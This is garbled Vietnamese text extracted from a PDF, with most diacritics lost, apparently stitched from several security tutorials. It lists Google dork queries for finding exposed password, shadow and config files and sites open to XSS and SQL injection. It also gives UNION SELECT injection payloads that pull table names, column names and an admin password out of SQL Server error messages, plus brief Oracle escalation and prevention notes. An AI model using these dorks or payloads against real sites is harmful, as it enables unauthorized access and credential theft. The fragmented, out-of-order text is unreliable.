ng cú pháp nâng cao c a Google Nh ng cú pháp truy v n nâng cao th o lu n th c s có th giúp ng xác hóa tìm ki m có đ c nh ng h th c s tìm ki m i ta Bây gi Google tr thành m t máy tìm ki m thông minh, nh ng ng i dùng có ác ý không h b n tâm khai thác kh n ng c a đ đào b i nh ng thông tin bí m t t internet mà ch có s truy c p gi i h n Bây gi s th o lu n nh ng k thu t m t cách chi ti t làm th đ nh ng ng i dùng ác tâm đào b i thông tin internet s d ng Google nh m t công c S d ng cú pháp “Index of ” đ tìm ki m site cho phép t ch m c M t webserver(máy ch web) cho phép t ch m c ngh a b t k có th t th m c c a webserver nh th m c n i b thông th ng s th o lu n làm th đ s d ng cú pháp "index of" đ có m t danh sách liên k t đ n webserver cho phép t th m c Cách tr thành m t ngu n d dàng cho vi c thu th p thông tin c a tin t c T ng t ng n u h n m đ c file m t kh u ho c file nh y c m khác mà bình th ng không th th y đ c internet D i vài Ví d s d ng đ có đ c quy n truy c p vào r t nhi u thông tin nh y c m d dàng h n r t nhi u: Index of /admin Index of /passwd Index of /password Index of /mail "Index of /" +passwd "Index of /" +password.txt "Index of /" +.htaccess "Index of /secret" "Index of /confidential" "Index of /root" "Index of /cgi-bin" "Index of /credit-card" "Index of /logs" "Index of /config" Tìm ki m site ho c server d b t n công s d ng cú pháp “inurl:” ho c “allinurl:” a S d ng “allinurl:winnt/system32/” (không có ngo c kép) s li t kê t t c liên k t đ n server mà cho phép truy c p đ n nh ng th m c gi i h n nh “system32” qua web N u b n đ may m n b n có th có quy n truy c p đ n file cmd.exe th m c “system32” M t b n có quy n truy c p đ n file “cmd.exe” có th th c thi b n có th ti n lên xa h n leo thang quy n c a b n kh p server làm h i b S d ng “allinurl:wwwboard/passwd.txt”(không có ngo c kép) Google search s li t kê t t c liên k t đ n server mà d b t n công vào “tính d b t n công m t kh u WWWBoard” bi t thêm v tính d b t n công b n có th vào link sau đây: http://www.securiteam.com/exploits/2BUQ4S0SAW.html c S d ng “inurl:.bash_history” (không có ngo c kép) s li t kê t t c liên k t đ n server mà cho phép truy c p vào file “.bash_history” qua web ây m t file l ch s dòng l nh File bao g m danh sách l nh đ c th c thi b i qu n tr viên, , bao g m c thông tin nh y c m nh m t kh u gõ vào b i qu n tr viên N u file b làm h i n u bao g m m t kh u mã hóa c a h th ng unix (or *nix) có th d dàng b crack b i ph ng pháp “John The Ripper” d S d ng “inurl:config.txt” (không có ngo c kép) s li t kê t t c liên k t đ n máy ch cho phép truy c p vào file “config.txt” qua giao di n web File bao g m thông tin nh y c m, bao g m giá tr b b m c a m t kh u qu n tr s xác th c quy n truy c p c s d li u Ví d : H th ng qu n lý h c t p Ingenium m t ng d ng Web cho h th ng Windows phát tri n b i Click2learn, Inc H th ng qu n lý h c t p Ingenium phiên b n 5.1 6.1 l u thông tin nh y c m không an tòan file config.txt bi t thêm thông tin vào liên k t sau: http://www.securiteam.com/securitynews/6M00H2K5PG.html Nh ng tìm ki m t ng t khác dùng “inurl:” ho c “allinurl:” k t h p v i cú pháp khác: inurl:admin filetype:txt inurl:admin filetype:db inurl:admin filetype:cfg inurl:mysql filetype:cfg inurl:passwd filetype:txt inurl:iisadmin inurl:auth_user_file.txt inurl:orders.txt inurl:"wwwroot/*." inurl:adpassword.txt inurl:webeditor.php inurl:file_upload.php inurl:gov filetype:xls "restricted" index of ftp +.mdb allinurl:/cgi-bin/ +mailto Tìm ki m site ho c server d b t n công dùng “intitle:” ho c “allintitle:” a S d ng [allintitle: "index of /root”] (không có ngo c vuông) s li t kê liên k t đ n webserver(máy ch Web) cho phép truy c p vào th m c gi i h n nh “root” qua giao di n web Th m c bao g m thông tin nh y c m mà có th d dàng tìm đ c tqua nh ng yêu c u Web đ n gi n b S d ng [allintitle: "index of /admin”] (không có ngo c vuông) s li t kê liên k t đ n website cho phép t ch m c th m c gi i h n nh “admin” qua giao di n web H u h t ng d ng web s d ng tên nh “admin” đ l u quy n admin Th m c bao hàm thông tin nh y c m mà có th d dàng tìm đ c qua yêu c u Web đ n gi n Nh ng tìm ki m t ng t dùng “intitle:” ho c “allintitle:” k t h p v i cú pháp khác intitle:"Index of" sh_history intitle:"Index of" bash_history intitle:"index of" passwd intitle:"index of" people.lst intitle:"index of" pwd.db intitle:"index of" etc/shadow intitle:"index of" spwd intitle:"index of" master.passwd intitle:"index of" htpasswd intitle:"index of" members OR accounts intitle:"index of" user_carts OR user_cart allintitle: sensitive filetype:doc allintitle: restricted filetype :mail allintitle: restricted filetype:doc site:gov Nh ng truy v n tìm ki m thú v khác tìm nh ng site d b t n công b ng ph ng pháp Cross-Sites Scripting (XSS): allinurl:/scripts/cart32.exe allinurl:/CuteNews/show_archives.php allinurl:/phpinfo.php tìm nh ng site d b t n công b ng ph ng pháp SQL Injection: allinurl:/privmsg.php allinurl:/privmsg.php [...]... sp_makewebtask 13 Ng n ch n SQL Injection trong ASP.NET Các cách th c ng n ch n SQL Injection đ c trình bày ph n 12 đã bao quát đ ph ng pháp, nh ng trong ASP.NET có cách ng n ch n đ n gi n là s d ng các Parameters khi làm vi c v i object SqlCommand (ho c OleDbCommand) ch không s d ng các câu l nh SQL tr c ti p Khi đó NET s t đ ng validate ki u d li u, n i dung d li u tr c khi th c hi n câu l nh SQL Ngoài ra, c... n ch n SQL Injection Hãy lo i b các kí t meta nh '"/\; và các kí t extend nh NULL, CR, LF, trong các string nh n đ c t : • • • input do ng i dùng đ trình các tham s t URL các giá tr t cookie i v i các giá tr numeric, hãy chuy n nó sang integer tr ISNUMERIC đ ch c ch n nó là m t s integer c khi query SQL, ho c dùng Thay đ i "Startup and run SQL Server" dùng m c low privilege user trong tab SQL Server... c lòng tr c, m t lòng sau mong các b n hi u L i SQL Injection trong Oracle có th nâng quy n Tài kho n Chuyên viên phân tích : Ngô B o Di p 1 Thông tin chung N u k t n công có m t tài kho n ng i dùng bình th ng trong Oracle, h n có th th c hi n m t s câu l nh đánh vào đi m y u c a Oracle trong hai phiên b n 8i và 9i, nh m m c đích nâng quy n truy nh p tài kho n lên m c qu n tr T đây, h n có toàn quy... l i c a SQL Server có th nh sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int /index.asp, line 5 Làm t ng t nh trên, có th l y đ c tên c a các column còn l i nh "password", "details" Khi đó ta l y tên c a các column này qua các thông báo l i c a SQL Server,... d li u b ng cách khác thông qua statement LIKE c a câu l nh SQL: http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25' Khi đó thông báo l i c a SQL Server có th là: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value 'admin_login'... ch , không có quy n SYSDBA CTXSYS.DRILOAD là 1 m t package nh trong CTXSYS Schema Trong package này có t n t i các hàm và th t c b l i SQL Injection Khai thác l h ng này m t account bình th ng có th tr thành m t account v i quy n SYSDBA qu n tr Database server L i SQL Injection trong CTXSYS.DRILOAD có các đ c đi m nh sau: • • B khai thác b i nh ng ng này ch c n quy n bình th R t d khai thác i dùng có... "neo" nh sau: http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo' Khi đó thông báo l i c a SQL Server có th nh sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int /index.asp, line 5 Và bây gi là đã có th login vào... ra m t string m i không ph i numeric string là '31173 morpheus' Khi hàm convert() đ c g i đ chuy n '31173 morpheus' sang integer, SQL server s phát l i ODBC error message sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int /index.asp, line 5 Và ngh a là... http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' Khi đó thông báo l i c a SQL Server có th nh sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int /index.asp, line 5 Nh v y tên c a column đ u tiên...Khi chúng ta k t h p chu i này v i s integer 10 qua statement UNION, MS SQL Server s c th chuy n m t string (nvarchar) thành m t s integer i u này s g p l i n u nh không chuy n đ c nvarchar sang int, server s hi n thông báo l i sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver] [SQL Server]Syntax error converting the nvarchar value 'table1' to a column ... nguyên thu "SQL đ c d ch s a đ i Injection Walkthrough" c a http://www.xfocus.net/ SQL Injection gì? SQL Injection m t nh ng ki u hack web d n tr nên ph bi n hi n B ng cách inject mã SQL query/command... t i th i gian v a qua, không website t i Vi t Nam b t n công đa s đ u l i SQL injection [1] V y SQL injection ? SQL injection m t k thu t cho phép nh ng k t n công l i d ng l h ng vi c ki m tra...Gi i thi u v SQL Injection T N CÔNG KI U SQL INJECTION TÁC H I VÀ PHÒNG TRÁNH Tác gi : Lê ình Duy SQL Injection gì? Khi tri n khai ng d ng web Internet,